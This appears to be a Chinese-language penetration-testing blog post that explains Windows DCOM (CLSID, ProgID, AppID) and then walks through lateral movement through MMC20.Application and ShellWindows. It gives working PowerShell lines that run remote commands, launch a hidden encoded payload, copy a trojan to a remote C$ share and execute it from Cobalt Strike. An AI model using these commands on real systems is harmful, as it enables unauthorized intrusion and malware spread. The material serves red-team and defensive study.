DCOM
DCOM概述
DCOM(分布式组件对象模型,分布式组件对象模式)是一系列微软的概念和程序接口,利用这个接口,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。DCOM基于组件对象模型(COM),COM提供了一套允许同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95或者其后的版本上)。
DCOM是组件对象模型(COM)的进一步扩展。COM定义了组件和它们的客户之间互相作用的方式。在远程系统上托管 COM 服务器(通常在 DLL 或 exe 中)的软件能够使用 RPC 向客户端公开其方法。
运作原理
COM 是 Windows 的一个组件,可促进软件之间的互操作性,DCOM 使用远程过程调用 (RPC) 将其扩展到整个网络。
同一进程中的COM组件
在操作系统中,各进程之间是相互屏蔽的。当一个客户进程需要和另一个进程中的组件通讯时,它不能直接调用该进程,而需要遵循操作系统对进程间通讯所做的规定。COM使得这种通讯能够以一种完全透明的方式进行:它截取从客户进程来的调用并将其传送到另一进程中的组件。COM/DCOM运行库是怎样提供客户进程和组件之间的联系的。

不同进程中的COM组件
当客户进程和组件位于不同的机器时,DCOM仅仅只是用网络协议来代替本地进程之间的通讯。无论是客户还是组件都不会知道连接它们的线路比以前长了许多。

不同机器上的COM组件
下图展现了DCOM的整体结构:COM运行库向客户和组件提供了面向对象的服务,并且使用RPC和安全机制产生符合DCOM线路协议标准的标准网络包。

CLSID
CLSID 是标识 COM 类对象的全局唯一标识符。服务器或容器允许链接到其嵌入的对象,则需要为每个受支持的对象类注册一个 CLSID。COM 旨在允许不同的应用程序使用一个类,包括在不知道该特定类存在的情况下编写的应用程序。
在 Windows 中注册的每个类都与一个 CLSID 相关联(COM 对象可能无需注册即可使用,但这超出了本文的范围) . 注册表中的 CLSID 键指向类的实现,在基于 dll 的对象的情况下使用InProcServer32子键,在 exe 的情况下使用LocalServer32键。
每个 COM 类都由一个CLSID标识,一个唯一的 128 位 GUID,服务器必须注册它。COM 应客户端的请求使用此 CLSID 将特定数据与包含实现类的代码的 DLL 或 EXE 相关联,从而创建对象的实例。
对于同一台计算机上的客户端和服务器,服务器的 CLSID 就是客户端所需要的。在每台计算机上,COM 为系统上安装的服务器维护一个包含所有 CLSID 的数据库(它使用 Microsoft Windows 和 Macintosh 平台上的系统注册表)。这是每个 CLSID 与包含该 CLSID 代码的 DLL 或 EXE 位置之间的映射。每当客户端想要创建 COM 类的实例并使用其服务时,COM 都会查询此数据库,因此客户端永远不需要知道代码在计算机上的绝对位置。
ProgID
编程标识符 (ProgID) 是可以与 CLSID 关联的注册表项。它可以用作 CLSID 的更好的替代方案,因为它不必遵守 CLSID 令人生畏的 GUID 格式(例如,“System.AppDomainManager”在眼睛上更容易而非 GUID)。与 CLSID 一样,ProgID 标识一个类,但精度较低,因为它不能保证全局唯一。
AppID
标识与指定的可执行文件对应的 AppID GUID。将一个或多个 DCOM 对象的配置选项组合到注册表中的一个集中位置。由同一可执行文件托管的 DCOM 对象被分组到一个 AppID 中,以简化常见安全和配置设置的管理。
要使 DCOM 可以访问 COM 对象,AppID 必须与类的 CLSID 相关联,并且需要为 AppID 授予适当的权限。没有关联 AppID 的 COM 对象无法从远程机器直接访问。

本地DCOM执行命令
Powershell查找DCOM应用程序列表
Win32_DCOMApplication
Get-CimInstance Win32_DCOMApplication,但此条命令只适用于powershell3.0版本以上,也就是说Windows server 2012以下版本不可以使用此条命令,低版本的powershell可以使用下面这条命令。

Get-WmiObject -Namespace ROOT\CIMV2 Win32_DCOMApplication,此条适用于win7、Windows server 2008等。

GetTypeFromCLSID
对上面列举的AppID进行实例化,使用Get-Membercmdlet列出可用办法
$dcom = [Activator]::CreateInstance([type]::GetTypeFromCLSID("AppID"))

Excel.Application
Excel COM实例列出可用办法
$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application"))

MMC20.Application
调用MMC20.Application实例化查看可用办法

MMC20.Application下级菜单下还有一些可用方法递归列举找出可以利用的方法

在Document.ActiveView下的方法

DCOM执行命令
MMC20.APPLICATION本地执行命令
通过上面的方法列举,列举到有个“ExecuteShellCommand”,在本地执行
$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")
$mmc.Document.ActiveView.ExecuteShellCommand("calc.exe",$null,$null,"1")

MMC20.APPLICATION远程执行命令
$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10"))
$mmc.Document.ActiveView.ExecuteShellCommand('regedit.exe',$null,$null,"1")
可以看到已经调用到远程主机的注册表进程。


MMC20.APPLICATION横向
利用MMC20.APPLICATION脚本横向渗透
$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10"))
$mmc.Document.ActiveView.ExecuteShellCommand("powershell.exe",$null,"-nop -w hidden -encodedcommand 这里是payload的参数选项","2")

也可以通过上传payload文件进行横向渗透
shell copy 文件路径 \\IP地址\C$

$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10"))
;$mmc.Document.ActiveView.ExecuteShellCommand('C:\c.exe',$null,$null,"1")

Excel DDEInitiate本地执行命令
可以看到微软官方对此方法的讲解说是一种不安全的方法。打开到另一个应用程序的动态数据交换 (DDE) 通道,并返回通道号。安全动态数据交换 (DDE) 是一种不安全的旧技术。

查看DDEInitiate的方法
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.DDEInitiate | Get-Member

可能是微软对此方法已经禁用了吧,连警告窗口都不弹。

而大佬的的文章中看到

Powershell脚本实现Excle宏攻击
https://github.com/outflanknl/Excel4-DCOM
SHELLWINDOWS本地执行命令
$shell = [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")
$obj = [System.Activator]::CreateInstance($shell)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
执行完上述命令后可以执行文件calc.exe,注意但必须使用(9BA05972-F6A8-11CF-A442-00A0C90A8F39)这个id。

来自大佬的文章
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
SHELLWINDOWS远程执行命令
$shell = [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39",”IP地址”)
$obj = [System.Activator]::CreateInstance($shell)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

可以发现远程也弹出命令

SHELLWINDOWS横向
可以看到已经可以连接到横向主机的文件了,接下来进行上传木马文件进行横向。

shell copy C:\Users\administrator\Desktop \\192.168.1.1\C$

CS上执行下面命令
powershell $shell = [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.1.1");$obj = [System.Activator]::CreateInstance($shell);$item = $obj.Item();$item.Document.Application.ShellExecute("cmd.exe","/c C:\c.exe","C:\windows\system32",$null,0)

DCOMrade脚本检索

下载地址
https://github.com/sud0woodo/DCOMrade
参考学习文献
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/

浙公网安备 33010602011771号